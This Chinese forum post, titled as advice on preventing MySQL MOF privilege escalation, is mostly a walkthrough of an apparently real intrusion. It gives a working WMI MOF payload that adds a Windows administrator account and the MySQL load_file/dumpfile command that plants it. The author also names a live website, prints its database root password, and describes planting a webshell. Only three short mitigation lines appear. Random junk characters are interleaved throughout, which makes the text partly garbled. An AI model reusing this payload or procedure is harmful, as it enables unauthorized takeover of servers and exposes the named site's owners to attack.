Mysql mof扩展漏洞防范方法0 @( M4 F2 f! j" m
5 L; N9 y) j1 C5 C# C0 A3 X
网上公开的一些利用代码:' d- v5 i. D: I$ t, z
- P' P' d0 Q# A4 H) v8 A9 M2 X
#pragma namespace(“\\\\.\\root\\subscription”)
/ M" g+ P+ [& @; L8 m/ c0 _* O& ^0 q( R- }
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
0 n; g' \' x) Q6 n' ^8 R) Z+ r
$ }+ x- k0 g8 z- n' J 7 @, e& D% M5 q- ^$ W8 h( L
6 Y$ c5 H* B' M7 b
- I" {" m) x D1 W/ \5 [
' ~" `' u' A' L5 _* O1 X连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
v# q1 C0 r/ U从上面代码来看得出解决办法:5 z6 o7 Q0 m s$ j* ?
! p; ~) ?) e' z
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数4 Z( C5 F( v* C' D4 P7 o% N
4 d. [! ?" l' P& x2 v) t2、禁止使用”WScript.Shel”组件) s( q+ K) @, p- v/ l, x+ M) z0 c
8 R4 g+ \, l. W, m3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
* V. [9 B1 X$ A/ E0 \
y% Q5 t5 M1 r' V/ |8 v5 R' [当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下$ e( U& j6 d1 E) g( N9 [
! [! |! z( R U& I& X$ n; u事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
; X& k9 B. n% {( T2 p9 Z
, H- T; \) x3 h6 x/ b但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
# T# c; k H* r, o0 R2 U2 W( t, M& A# E
看懂了后就开始练手吧
+ M* U# f+ M) |/ ^ c* K& M5 T' B. b2 M$ A3 n- ]
http://www.webbmw.com/config/config_ucenter.php 一句话 a$ y }5 _" A6 K6 _! B" d6 K9 q9 l
7 J# N2 g5 z) M* E8 M0 ^
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。3 s, @2 @1 h' E$ Y ^$ b1 c+ u
# [: v( z8 H( C8 G7 ]于是直接用菜刀开搞
# f' A$ X4 ~% G: m. _3 w' u
% c$ E" z: ?; K0 E! N5 ?1 y上马先
2 L v% m2 m4 T8 e& P3 b
3 |) r# s9 i0 s. s1 W1 n既然有了那些账号 之类的 于是我们就执行吧…….
, N* p$ |# x% c* Q5 g$ B6 K5 y; p0 F5 F0 M% v9 C
小小的说下
0 X" u7 |9 [3 {" f
! i5 D |" J4 `& w在这里第1次执行未成功 原因未知
; } R1 c; e o* \7 i7 a# C% p& n
8 U& ?3 h: @ G+ {7 g4 M9 l我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
, O1 A5 O; P B+ ?8 i$ J7 {$ g/ c& q6 g
#pragma namespace(“\\\\.\\root\\subscription”)- Q! h" J5 a0 Q' k4 H$ p' |0 T
+ K- k7 y' C" p$ d' N. s' Yinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };" a7 x" A/ z. M8 H! ~
7 f C$ D8 X; ?我是将文件放到C:\WINDOWS\temp\1.mof+ d: B1 G; w. J( C0 q: S7 G
" X+ T2 `1 z/ i1 V! |' ~/ K
所以我们就改下执行的代码* t( h& b% t. B5 c4 {/ ~3 p" v
. a. e2 ]* M' P9 f
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" F5 L' t* V) m- Z. [9 j# T: Z/ ~$ c) I) W# Z4 T
2 U4 K+ n8 D1 N: w2 o( `+ G
+ z& {; m. C7 i# N但是 你会发现账号还是没有躺在那里。。
' [7 O. @5 T; j& l* ]
4 T. g8 ^, G0 X6 q4 n9 y于是我就感觉蛋疼
$ v$ Y D- D7 F1 |' Y( z# Y- K7 O8 K6 `
就去一个一个去执行 但是执行到第2个 mysql时就成功了………
( P- g7 k2 H" v G2 o: U' m
7 U( J9 R. L$ |0 m
! j6 T( w9 X$ n: ~# M- W! r6 [0 r
, o2 b) j8 g5 _) t& X0 a2 i4 p但是其他库均不成功…
- G; y" ^: m' V ]
0 H" ?, ~! E/ P- l' O我就很费解呀 到底为什么不成功求大牛解答…
1 | `6 {! F0 ~0 w- R P/ T
0 k1 k" d- v1 e# n. e# i- s5 d
( |' a% {' M* }$ S7 `; h
5 u- L6 U- @% G8 A. H |